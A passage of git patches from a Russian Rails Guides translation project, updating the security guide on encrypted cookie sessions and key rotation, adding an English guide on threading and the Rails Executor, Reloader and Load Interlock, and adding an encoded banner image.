сессии_. Вместо этого следует хранить их в базе данных и сохранять в сессии их id. Это позволит избежать головной боли при синхронизации и не будет забивать место хранения сессии (в зависимости от того, какое хранение сессии было выбрано, смотрите ниже). Также будет хорошо, если вы вдруг измените структуру объекта, а старые его версии все еще будут в куки некоторых клиентов. Конечно, при хранении сессий на сервере вы сможете просто очистить сессии, но при хранении на клиенте это сильно помогает. * _Критические данные не следует хранить в сессии_. Если пользователь очищает куки или закрывает браузер, они потеряются. А в случае хранения сессии на клиенте, пользователь сможет прочесть данные. -### Хранение сессии +### Зашифрованное хранение сессии NOTE: _Rails предоставляет несколько механизмов хранения для хэшей сессии. Наиболее важным является `ActionDispatch::Session::CookieStore`._ -Rails 2 представил новый способ хранения сессии по умолчанию, CookieStore. CookieStore сохраняет хэш сессии прямо в куки на стороне клиента. Сервер получает хэш сессии из куки, и устраняется необходимость в ID сессии. Это значительно увеличивает скорость приложения, но является спорным вариантом хранения, и вы должны подумать об условиях безопасности этого: +`CookieStore` сохраняет хэш сессии прямо в куки на стороне клиента. Сервер получает хэш сессии из куки и устраняется необходимость в ID сессии. Это значительно увеличивает скорость приложения, но является спорным вариантом хранения, и нужно думать об условиях безопасности и ограничения хранения этого: + +* Куки предполагают ограничение размера в 4 Кбайт. Это нормально, так как не нужно хранить большие объемы данных в сессии, о чем писалось ранее. Хранение id текущего пользователя базы данных в сессии является обычной практикой. + +* Куки сессий не являются недействительными и могут быть злонамеренно использованы повторно. Было бы целесообразно, чтобы приложение делало недействительными старые куки сессий, используя сохраненную метку времени. + +`CookieStore` использует [зашифрованную](http://api.rubyonrails.org/classes/ActionDispatch/Cookies/ChainedCookieJars.html#method-i-encrypted) банку куки, чтобы предоставить безопасное, зашифрованное местоположение для хранения данных сессии. Таким образом, сессии на основе куки обеспечивают как целостность, так и конфиденциальность их содержимого. Ключ шифрования, а также ключ верификации, используемый для [подписанных](http://api.rubyonrails.org/classes/ActionDispatch/Cookies/ChainedCookieJars.html#method-i-signed) куки, получены из конфигурационного значения `secret_key_base`. -* Куки предполагают ограничение размера в 4kB. Это нормально, так как не нужно хранить большие объемы данных в сессии, о чем писалось ранее. _Хранение id пользователя в сессии это обычно нормально_. -* Клиент может увидеть все, что вы храните в сессии, поскольку они хранятся чистым текстом (фактически кодированы Base64, но не зашифрованы). Поэтому, разумеется, _вы не захотите хранить тут секретные данные_. Для предотвращения фальсификации хэша сессии, из сессии рассчитывается дайджест с помощью серверного секретного ключа (`secrets.secret_token`) и вставляется в конец куки. +Начиная с Rails 5.2 зашифрованные куки и сессии защищены с помощью режима шифрования AES GCM. Этот класс шифрования является типом аутентифицированного шифрования и пары аутентификации, и шифрования за один шаг, а также построение более коротких шифртекстов по сравнению с другими ранее используемыми алгоритмами. Ключ для куки, зашифрованных с помощью AES GCM, получают с использованием значения соли, определенной конфигурационным значением `config.action_dispatch.authenticated_encrypted_cookie_salt`. -В Rails 4 было введено шифрование куки через AES в режиме CBC с HMAC, используя SHA1 для проверки верификации. Это предотвращает доступ и подделку содержимого куки пользователем. Таким образом, куки становятся более безопасным местом для хранения данных. Шифрование выполняется с помощью серверного `secret_key_base`. Две соли используются при получении ключей для шифрования и верификации. Эти соли устанавливаются через конфигурационные значения `config.action_dispatch.encrypted_cookie_salt` и `config.action_dispatch.encrypted_signed_cookie_salt`. +До этой версии зашифрованные куки были защищены с помощью AES в режиме CBC с HMAC, используя SHA1 для аутентификации. Ключи для этого типа шифрования и для верификации HMAC были получены с помощью солей, определенных в `config.action_dispatch.encrypted_cookie_salt` и `config.action_dispatch.encrypted_signed_cookie_salt` соответственно. -Rails 5.2 использует AES-GCM для шифрования, который объединяет аутентификацию и шифрование в один более быстрый шаг и создает более короткие шифротексты. +До Rails 4, в версиях 2 и 3, куки сессии были защищены с помощью только верификации HMAC. Таким образом, эти куки сессии только обеспечивали целостность их содержимого, потому что фактические данные сессии хранились в виде обычного текста как base64. Так же как `подписанные` куки работают в текущей версии Rails. Эти виды куки по-прежнему полезны для защиты целостности определенных данных и информации, хранящейся на клиенте. -Зашифрованные куки автоматически обновляются, если включен `config.action_dispatch.use_authenticated_cookie_encryption`. +__Не используйте банальный секретный ключ для `secret_key_base`, т.е. слово из словаря, или короче 30 символов! Вместо этого используйте `rails secret` для генерации секретных ключей!__ -_Не используйте банальный секретный ключ, т.е. слово из словаря, или короче 30 символов! Вместо этого используйте `rails secret` для генерации секретных ключей!_ +Также важно использовать различные значения соли для зашифрованных и подписанных куки. Использование одного и того же значения для разных конфигурационных значений соли может привести к тому, что один и тот же производный ключ будет использоваться для разных функций безопасности, из-за чего, в свою очередь, может быть ослаблена сила ключа. В test и development средах приложения получают `secret_key_base` из имени приложения. В других средах должен использоваться случайный ключ, присутствующий в `config/credentials.yml.enc`, показанный здесь в дешифрованном состоянии: @@ -99,9 +104,35 @@ _Не используйте банальный секретный ключ, т. secret_key_base: 492f... ``` -Прежние версии Rails использовали CookieStore, который использовал `secret_token` вместо `secret_key_base`, используемого EncryptedCookieStore. Подробнее читайте в документации по обновлению. +Если есть приложение, в котором секретный ключ был скомпрометирован (т.е. приложение, исходники которого были в общем доступе), настоятельно рекомендуется изменить секретный ключ. + +### Ротация зашифрованных и подписанных конфигураций куки + +Ротация идеально подходит для изменения конфигураций куки и обеспечения того, что старые куки не сразу стали недействительны. Затем пользователи имеют возможность посетить сайт, прочитать свои куки со старой конфигурацией и переписать их с учетом новых изменений. После этого ротацию можно удалить, когда посчитаете нужным, например, если большинство пользователей должны были использовать шанс апгрейднуть свои куки. + +Также возможно производить ротацию алгоритмов шифрования и дайджестов, используемых для зашифрованных и подписанных куки. + +Например, чтобы изменить дайджест, используемый для подписанных куки с SHA1 на SHA256, необходимо сперва назначить новое конфигурационное значение: + +```ruby +Rails.application.config.action_dispatch.signed_cookie_digest = "SHA256" +``` + +Теперь добавьте ротацию для старого дайджеста SHA1, чтобы существующие куки были бесшовно апгрейднуты до нового дайджеста SHA256. + +```ruby +Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies| + cookies.rotate :signed, digest: "SHA1" +end +``` + +Затем любые переписываемые подписанные куки будут обработаны с помощью SHA256. Старые куки, которые были переписаны с помощью SHA1, все еще могут быть прочитаны, и те, что являются доступными будут переписаны с помощью нового дайджеста, чтобы они были апгрейднуты и не считались недействительными при удалении ротации. + +После того, как пользователи с подписанными куки с помощью SHA1 больше не смогут переписывать свои куки, удалите последние. + +Хотя можно установить столько ротаций, сколько необходимо для того, чтобы не было много ротаций в любой момент времени. -Если вам досталось приложение, в котором секретный ключ был скомпрометирован (т.е. приложение, исходники которого были в общем доступе), настоятельно рекомендуется изменить секретный ключ. +Для получения дополнительной информации о ротации ключа с зашифрованными и подписанными сообщениями, а также о различных опциях, которые принимает метод `rotate`, обратитесь, пожалуйста, к документации по [MessageEncryptor API](api.rubyonrails.org/classes/ActiveSupport/MessageEncryptor.html) и [MessageVerifier API](api.rubyonrails.org/classes/ActiveSupport/MessageVerifier.html). ### Атаки воспроизведения для сессий CookieStore @@ -205,7 +236,7 @@ NOTE: _Во-первых, как это требуется W3C, использу **Используйте POST, если:** * Взаимодействие более _похоже на распоряжение_, или -* Взаимодействие _изменяет состояние_ ресурса способом, который пользователь будет осознавать (например, подписка на услугу), или +* Взаимодействие _изменяет состояние_ ресурса способом, который пользователь будет осознавать (например, подписка на сервис), или * Пользователь _несет ответственность за результат_ взаимодействия. Если Ваше приложение является RESTful, можете использовать дополнительные методы HTTP, такие как PATCH, PUT или DELETE. Некоторые устаревшие веб-браузеры, однако, не поддерживают их - только GET и POST. Rails использует скрытое поле `_method` для обработки этих случаев. @@ -436,7 +467,7 @@ NOTE: _Брутфорс-атаки на аккаунты - это атаки м INFO: _CAPTCHA - это тест вызова-ответа для определения, что ответ не сгенерирован компьютером. Она часто используется для защиты регистрационных форм от атакующих и форм комментирования от автоматических спам-ботов, требуя от пользователя написать буквы на искаженном изображении. Это положительная CAPTCHA, но есть еще и отрицательная CAPTCHA. Идея отрицательной CAPTCHA не просить пользователей доказать, что они люди, а показать, что робот является роботом._ -Популярной CAPTCHA API является [reCAPTCHA](http://recaptcha.net/), которая отображает два искаженных изображения слов из старых книг. Она также добавляет линию под углом, а не искаженный фон или высокий уровень деформации текста, как делали раньше CAPTCHA, так как они были сломаны. Дополнительно, использование reCAPTCHA помогает оцифровать старые книги. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) это также плагин Rails с тем же именем, как и API. +Популярной CAPTCHA API является [reCAPTCHA](https://developers.google.com/recaptcha/), которая отображает два искаженных изображения слов из старых книг. Она также добавляет линию под углом, а не искаженный фон или высокий уровень деформации текста, как делали раньше CAPTCHA, так как они были сломаны. Дополнительно, использование reCAPTCHA помогает оцифровать старые книги. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) это также плагин Rails с тем же именем, как и API. Вы получаете два ключа из API, открытый и секретный ключ, которые помещаете в свою среду Rails. После этого можете использовать метод `recaptcha_tags` во вьюхе и метод `verify_recaptcha` в контроллере. `verify_recaptcha` возвратит false, если валидация провалится. Есть проблема с CAPTCHA, они оказывают негативное влияние на пользователя. Кроме того, некоторые слабовидящие пользователи найдут искаженные CAPTCHA неудобочитаемыми. Но все-таки, положительные CAPTCHA являются одним из лучших методов предотвращения отправки форм различными ботами. @@ -528,7 +559,7 @@ http://hi.com ### Расширение привилегий -WARNING: _Изменение единственного параметра может дать пользователю неавторизованный доступ. Помните, что каждый параметр может быть изменен, независимо от того, как вы спрятали или завуалировали его._ +WARNING: _Изменение единственного параметра может дать пользователю неавторизованный доступ. Помните, что каждый параметр может быть изменен, независимо от того, как вы спрятали или завуалировали его._ Наиболее общий параметр, в который может вмешиваться пользователь, это параметр id, как в `http://www.domain.com/project/1`, где 1 это id. Он будет доступен в `params` в контроллере. Там вы скорее всего сделаете что-то подобное: @@ -1020,7 +1051,7 @@ some_api_key: SOMEKEY Если вы хотите вызвать исключение, когда ключ пустой, используйте версию с восклицательным знаком: ```ruby -Rails.application.credentials.some_api_key! # => вызовет KeyError: key not found: :some_api_key +Rails.application.credentials.some_api_key! # => вызовет KeyError: :some_api_key is blank ``` (additional-resources) Дополнительные источники From fb71d684ab596d1aa6753970c0355f504fa403b0 Mon Sep 17 00:00:00 2001 From: Yauheni Dakuka Date: Fri, 17 Nov 2017 01:02:58 +0300 Subject: [PATCH 344/932] Add threading and code execution guide --- source/index.yml | 6 + source/threading_and_code_execution.md | 324 +++++++++++++++++++++++++ 2 files changed, 330 insertions(+) create mode 100644 source/threading_and_code_execution.md diff --git a/source/index.yml b/source/index.yml index 38b38274..8da58763 100644 --- a/source/index.yml +++ b/source/index.yml @@ -312,6 +312,12 @@ pages: revision: 5c0d00072d1309dbc77bb5d97e42956bac3e8684 date: 20/03/2017 + - title: Потоки выполнения и выполнение кода + path: threading_and_code_execution + file: threading_and_code_execution.md + revision: b5cd7d5b511361062f67ebad45ab38393970fc47 + date: 16/11/2017 + plan: [] old: diff --git a/source/threading_and_code_execution.md b/source/threading_and_code_execution.md new file mode 100644 index 00000000..1c7d61a2 --- /dev/null +++ b/source/threading_and_code_execution.md @@ -0,0 +1,324 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** + +Threading and Code Execution in Rails +===================================== + +After reading this guide, you will know: + +* What code Rails will automatically execute concurrently +* How to integrate manual concurrency with Rails internals +* How to wrap all application code +* How to affect application reloading + +-------------------------------------------------------------------------------- + +Automatic Concurrency +--------------------- + +Rails automatically allows various operations to be performed at the same time. + +When using a threaded web server, such as the default Puma, multiple HTTP +requests will be served simultaneously, with each request provided its own +controller instance. + +Threaded Active Job adapters, including the built-in Async, will likewise +execute several jobs at the same time. Action Cable channels are managed this +way too. + +These mechanisms all involve multiple threads, each managing work for a unique +instance of some object (controller, job, channel), while sharing the global +process space (such as classes and their configurations, and global variables). +As long as your code doesn't modify any of those shared things, it can mostly +ignore that other threads exist. + +The rest of this guide describes the mechanisms Rails uses to make it "mostly +ignorable", and how extensions and applications with special needs can use them. + +Executor +-------- + +The Rails Executor separates application code from framework code: any time the +framework invokes code you've written in your application, it will be wrapped by +the Executor. + +The Executor consists of two callbacks: `to_run` and `to_complete`. The Run +callback is called before the application code, and the Complete callback is +called after. + +### Default callbacks + +In a default Rails application, the Executor callbacks are used to: + +* track which threads are in safe positions for autoloading and reloading +* enable and disable the Active Record query cache +* return acquired Active Record connections to the pool +* constrain internal cache lifetimes + +Prior to Rails 5.0, some of these were handled by separate Rack middleware +classes (such as `ActiveRecord::ConnectionAdapters::ConnectionManagement`), or +directly wrapping code with methods like +`ActiveRecord::Base.connection_pool.with_connection do`. The Executor replaces +these with a single more abstract interface. + +### Wrapping application code + +If you're writing a library or component that will invoke application code, you +should wrap it with a call to the executor: + +```ruby +Rails.application.executor.wrap do + # call application code here +end +``` + +TIP: If you repeatedly invoke application code from a long-running process, you +may want to wrap using the Reloader instead. + +Each thread should be wrapped before it runs application code, so if your +application manually delegates work to other threads, such as via `Thread.new` +or Concurrent Ruby features that use thread pools, you should immediately wrap +the block: + +```ruby +Thread.new do + Rails.application.executor.wrap do + # your code here + end +end +``` + +NOTE: Concurrent Ruby uses a `ThreadPoolExecutor`, which it sometimes configures +with an `executor` option. Despite the name, it is unrelated. + +The Executor is safely re-entrant; if it is already active on the current +thread, `wrap` is a no-op. + +If it's impractical to physically wrap the application code in a block (for +example, the Rack API makes this problematic), you can also use the `run!` / +`complete!` pair: + +```ruby +Thread.new do + execution_context = Rails.application.executor.run! + # your code here +ensure + execution_context.complete! if execution_context +end +``` + +### Concurrency + +The Executor will put the current thread into `running` mode in the Load +Interlock. This operation will block temporarily if another thread is currently +either autoloading a constant or unloading/reloading the application. + +Reloader +-------- + +Like the Executor, the Reloader also wraps application code. If the Executor is +not already active on the current thread, the Reloader will invoke it for you, +so you only need to call one. This also guarantees that everything the Reloader +does, including all its callback invocations, occurs wrapped inside the +Executor. + +```ruby +Rails.application.reloader.wrap do + # call application code here +end +``` + +The Reloader is only suitable where a long-running framework-level process +repeatedly calls into application code, such as for a web server or job queue. +Rails automatically wraps web requests and Active Job workers, so you'll rarely +need to invoke the Reloader for yourself. Always consider whether the Executor +is a better fit for your use case. + +### Callbacks + +Before entering the wrapped block, the Reloader will check whether the running +application needs to be reloaded -- for example, because a model's source file has +been modified. If it determines a reload is required, it will wait until it's +safe, and then do so, before continuing. When the application is configured to +always reload regardless of whether any changes are detected, the reload is +instead performed at the end of the block. + +The Reloader also provides `to_run` and `to_complete` callbacks; they are +invoked at the same points as those of the Executor, but only when the current +execution has initiated an application reload. When no reload is deemed +necessary, the Reloader will invoke the wrapped block with no other callbacks. + +### Class Unload + +The most significant part of the reloading process is the Class Unload, where +all autoloaded classes are removed, ready to be loaded again. This will occur +immediately before either the Run or Complete callback, depending on the +`reload_classes_only_on_change` setting. + +Often, additional reloading actions need to be performed either just before or +just after the Class Unload, so the Reloader also provides `before_class_unload` +and `after_class_unload` callbacks. + +### Concurrency + +Only long-running "top level" processes should invoke the Reloader, because if +it determines a reload is needed, it will block until all other threads have +completed any Executor invocations. + +If this were to occur in a "child" thread, with a waiting parent inside the +Executor, it would cause an unavoidable deadlock: the reload must occur before +the child thread is executed, but it cannot be safely performed while the parent +thread is mid-execution. Child threads should use the Executor instead. + +Framework Behavior +------------------ + +The Rails framework components use these tools to manage their own concurrency +needs too. + +`ActionDispatch::Executor` and `ActionDispatch::Reloader` are Rack middlewares +that wraps the request with a supplied Executor or Reloader, respectively. They +are automatically included in the default application stack. The Reloader will +ensure any arriving HTTP request is served with a freshly-loaded copy of the +application if any code changes have occurred. + +Active Job also wraps its job executions with the Reloader, loading the latest +code to execute each job as it comes off the queue. + +Action Cable uses the Executor instead: because a Cable connection is linked to +a specific instance of a class, it's not possible to reload for every arriving +websocket message. Only the message handler is wrapped, though; a long-running +Cable connection does not prevent a reload that's triggered by a new incoming +request or job. Instead, Action Cable uses the Reloader's `before_class_unload` +callback to disconnect all its connections. When the client automatically +reconnects, it will be speaking to the new version of the code. + +The above are the entry points to the framework, so they are responsible for +ensuring their respective threads are protected, and deciding whether a reload +is necessary. Other components only need to use the Executor when they spawn +additional threads. + +### Configuration + +The Reloader only checks for file changes when `cache_classes` is false and +`reload_classes_only_on_change` is true (which is the default in the +`development` environment). + +When `cache_classes` is true (in `production`, by default), the Reloader is only +a pass-through to the Executor. + +The Executor always has important work to do, like database connection +management. When `cache_classes` and `eager_load` are both true (`production`), +no autoloading or class reloading will occur, so it does not need the Load +Interlock. If either of those are false (`development`), then the Executor will +use the Load Interlock to ensure constants are only loaded when it is safe. + +Load Interlock +-------------- + +The Load Interlock allows autoloading and reloading to be enabled in a +multi-threaded runtime environment. + +When one thread is performing an autoload by evaluating the class definition +from the appropriate file, it is important no other thread encounters a +reference to the partially-defined constant. + +Similarly, it is only safe to perform an unload/reload when no application code +is in mid-execution: after the reload, the `User` constant, for example, may +point to a different class. Without this rule, a poorly-timed reload would mean +`User.new.class == User`, or even `User == User`, could be false. + +Both of these constraints are addressed by the Load Interlock. It keeps track of +which threads are currently running application code, loading a class, or +unloading autoloaded constants. + +Only one thread may load or unload at a time, and to do either, it must wait +until no other threads are running application code. If a thread is waiting to +perform a load, it doesn't prevent other threads from loading (in fact, they'll +cooperate, and each perform their queued load in turn, before all resuming +running together). + +### `permit_concurrent_loads` + +The Executor automatically acquires a `running` lock for the duration of its +block, and autoload knows when to upgrade to a `load` lock, and switch back to +`running` again afterwards. + +Other blocking operations performed inside the Executor block (which includes +all application code), however, can needlessly retain the `running` lock. If +another thread encounters a constant it must autoload, this can cause a +deadlock. + +For example, assuming `User` is not yet loaded, the following will deadlock: + +```ruby +Rails.application.executor.wrap do + th = Thread.new do + Rails.application.executor.wrap do + User # inner thread waits here; it cannot load + # User while another thread is running + end + end + + th.join # outer thread waits here, holding 'running' lock +end +``` + +To prevent this deadlock, the outer thread can `permit_concurrent_loads`. By +calling this method, the thread guarantees it will not dereference any +possibly-autoloaded constant inside the supplied block. The safest way to meet +that promise is to put it as close as possible to the blocking call only: + +```ruby +Rails.application.executor.wrap do + th = Thread.new do + Rails.application.executor.wrap do + User # inner thread can acquire the load lock, + # load User, and continue + end + end + + ActiveSupport::Dependencies.interlock.permit_concurrent_loads do + th.join # outer thread waits here, but has no lock + end +end +``` + +Another example, using Concurrent Ruby: + +```ruby +Rails.application.executor.wrap do + futures = 3.times.collect do |i| + Concurrent::Future.execute do + Rails.application.executor.wrap do + # do work here + end + end + end + + values = ActiveSupport::Dependencies.interlock.permit_concurrent_loads do + futures.collect(&:value) + end +end +``` + + +### ActionDispatch::DebugLocks + +If your application is deadlocking and you think the Load Interlock may be +involved, you can temporarily add the ActionDispatch::DebugLocks middleware to +`config/application.rb`: + +```ruby +config.middleware.insert_before Rack::Sendfile, + ActionDispatch::DebugLocks +``` + +If you then restart the application and re-trigger the deadlock condition, +`/rails/locks` will show a summary of all threads currently known to the +interlock, which lock level they are holding or awaiting, and their current +backtrace. + +Generally a deadlock will be caused by the interlock conflicting with some other +external lock or blocking I/O call. Once you find it, you can wrap it with +`permit_concurrent_loads`. + From 0da13eb55a6a524cf38e2c957dc7e3a2bdc433e3 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Wed, 22 Nov 2017 21:45:02 +0300 Subject: [PATCH 345/932] Update mkdev banners --- .../images/partners/mkdev/blackfriday.png | Bin 0 -> 42386 bytes app/helpers/application_helper.rb | 41 ++++++++++-------- 2 files changed, 23 insertions(+), 18 deletions(-) create mode 100755 app/assets/images/partners/mkdev/blackfriday.png diff --git a/app/assets/images/partners/mkdev/blackfriday.png b/app/assets/images/partners/mkdev/blackfriday.png new file mode 100755 index 0000000000000000000000000000000000000000..f58c131dbd334419b17f0b4d3e66174bc65525fe GIT binary patch literal 42386 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 